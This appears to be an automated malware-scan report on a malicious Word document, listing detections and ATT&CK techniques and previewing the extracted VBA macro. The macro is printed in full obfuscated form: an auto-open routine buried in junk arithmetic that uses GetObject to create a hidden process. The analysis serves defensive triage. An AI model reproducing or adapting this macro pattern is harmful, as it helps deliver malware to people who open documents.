MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. The macro utilizes a GetObject call, which is a common technique for executing arbitrary code or downloading additional payloads. The presence of the autoopen macro and the GetObject call strongly suggests an intent to execute malicious code upon opening the document.
Heuristics 7
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ClamAV: Doc.Malware.Dsdu-6904730-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Dsdu-6904730-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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GetObject call high OLE_VBA_GETOBJGetObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12517 bytes |
SHA-256: 1bc567230fb81a6c42a5ab381c0cda5179be037e2c56d134c2878321915a6c18 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "nABUUAkX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "KcxA1D_o"
Attribute VB_Base = "0{5A166FBB-4DE2-4498-B1A6-6FE4E60F4595}{66B7C25F-D9FA-4F83-BB08-F9B09CA772BE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "MA_AcAcA"
Sub autoopen()
On Error Resume Next
If lGXZUxU = Hk_1DA_ Then
WX_Ao41B = (633637079)
zAAGAc = (qUAADA * CInt(939119851 _
+ Atn(631635569 * SZw_GQU)) + p4XBDBA + CDbl(QAGkBA - Sqr(NAUQAc / _
CBool(694363531 / 395298971) + oZAAA_ - Rnd(W4QQA1A4))) * 316527312 * 790820533)
vAADAC = (780110503)
End If
If iAZoAB = WUZAZA Then
UCxQ_BB = (869701008)
ZQA_AAB = (w1GAXcAC * CInt(362757127 _
+ Atn(984781346 * PxBkBBA)) + t4AUDA + CDbl(doAUA4AU - Sqr(oB4ZoABX / _
CBool(766367436 / 54354063) + DAAUDGDA - Rnd(ocAkAA))) * 867914749 * 409910776)
jAAwUUA = (176912204)
End If
If N_wkAD = PB4_AA Then
BBCDcAD = (41241393)
MBAA1CDC = (VAAAAAAD * CInt(715117475 _
+ Atn(6170625 * bBwB4Zw)) + JAGkAB + CDbl(iU_wAk - Sqr(u1AAAAAw / _
CBool(790080207 / 57410608) + mABAGQwA - Rnd(iQABA41w))) * 257822242 * 437275507)
lXoxooZA = (340432783)
End If
Set TD4UAQU = GetObject(a_DAxDX + KcxA1D_o.qDQAcUA + KUGcAQ_)
If zoAQAc = JAAAkoBo Then
A4QcZZ = (693632950)
ODAQAZA = (hDAAXQG * CInt(449684569 _
+ Atn(392118058 * GAAXBCCG)) + oD_AADA + CDbl(rAXxAQB - Sqr(zAADUAA / _
CBool(110922244 / 7334196) + uQUUXo - Rnd(kkXAAokA))) * 937414345 * 146116786)
zAZGA1G = (371339082)
End If
If SBQoUAAZ = wXXBco Then
Zw4BA4Aw = (54592852)
cAQAxD = (kQcABABU * CInt(214971490 _
+ Atn(865505036 * Ww1_AAQ)) + rXBx1UQX + CDbl(nAoAAQ - Sqr(wUwAAU / _
CBool(496875445 / 773933083) + P_oAADB - Rnd(o1AAXCU))) * 586595010 * 383261949)
zCxkBXG = (6228362)
End If
If OwQQAQc = B_4UCZA Then
McA_wUQk = (390997271)
oUAABZCU = (skGDBQwC * CInt(397612839 _
+ Atn(672760152 * VCQQAxDx)) + kB41Ao + CDbl(cQxoUBC - Sqr(tAXc4QC / _
CBool(310717484 / 368970770) + jAxU4U - Rnd(mAUAUAkA))) * 820808914 * 521724896)
rGD_UxAD = (68443277)
End If
TD4UAQU.ShowWindow = 24798 - 24798
If LQkBAB4G = JA4oAkw Then
OwAkAQ = (191260931)
F_xGA_Dw = (vUA4Aoox * CInt(470433065 _
+ Atn(709687538 * NCQDBAGA)) + FAB4UZAk + CDbl(qQAAA4 - Sqr(uZUxcA / _
CBool(191594514 / 60853999) + uABCGA4 - Rnd(d_UwAA))) * 687073135 * 33650344)
WACA_A = (525127981)
End If
If wAAoQ1A = KUDZkAxB Then
oxGwABCA = (852264247)
mkAkw_Z = (bAxAZcc * CInt(397263679 _
+ Atn(88082441 * cZxxQ1)) + BB_A4Z_ + CDbl(To_ZAZwQ - Sqr(l1BQUo / _
CBool(593689338 / 921681185) + V4AABX - Rnd(JABAUA))) * 31396914 * 192571848)
vcQZQc_D = (169692709)
End If
GetObject(PUABAwAB + KcxA1D_o.mAABDZk1 + nUwBBAZ1). _
Create@ Pw_AZQ + KcxA1D_o.ucZBDDX + FQkAQ1A + KcxA1D_o.EAAADUA + sCkAkX + KcxA1D_o.WAAADUkA + lQUXUC, zQDC1D_, TD4UAQU, XAA4XC
If vAQAABoc = bQcxAww Then
OQDCAA = (777080703)
UwBBAAD = (fAAowZU1 * CInt(757616636 _
+ Atn(193600679 * AA_AkAA)) + SBUQBX + CDbl(sGAxDAAU - Sqr(iBAABD / _
CBool(812933558 / 398830150) + pAcABAA - Rnd(SGA44oQ))) * 613494098 * 527913501)
CDUxAo = (983808198)
End If
If s_BZXAkX = YA1xAZUG Then
X1AA4k = (318643594)
T_4DAxow = (vAkZQZQ_ * CInt(795498079 _
+ Atn(930015675 * Y1AU4UAo)) + bAAZoA + CDbl(NAZBCA - Sqr(OQAAQABQ / _
CBool(988436226 / 296376060) + WZAxAQ - Rnd(J1Ao4QGB))) * 314002354 * 636511629)
DAkAAA4 = (882903708)
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/d12ca85ff210492d8e8c2d72bfe29559.bin
' ===============================================================================
' Module streams:
' Macros/VBA/nABUUAkX - 1106 bytes
' Macros/VBA/KcxA1D_o - 1159 bytes
' Macr
... (truncated)
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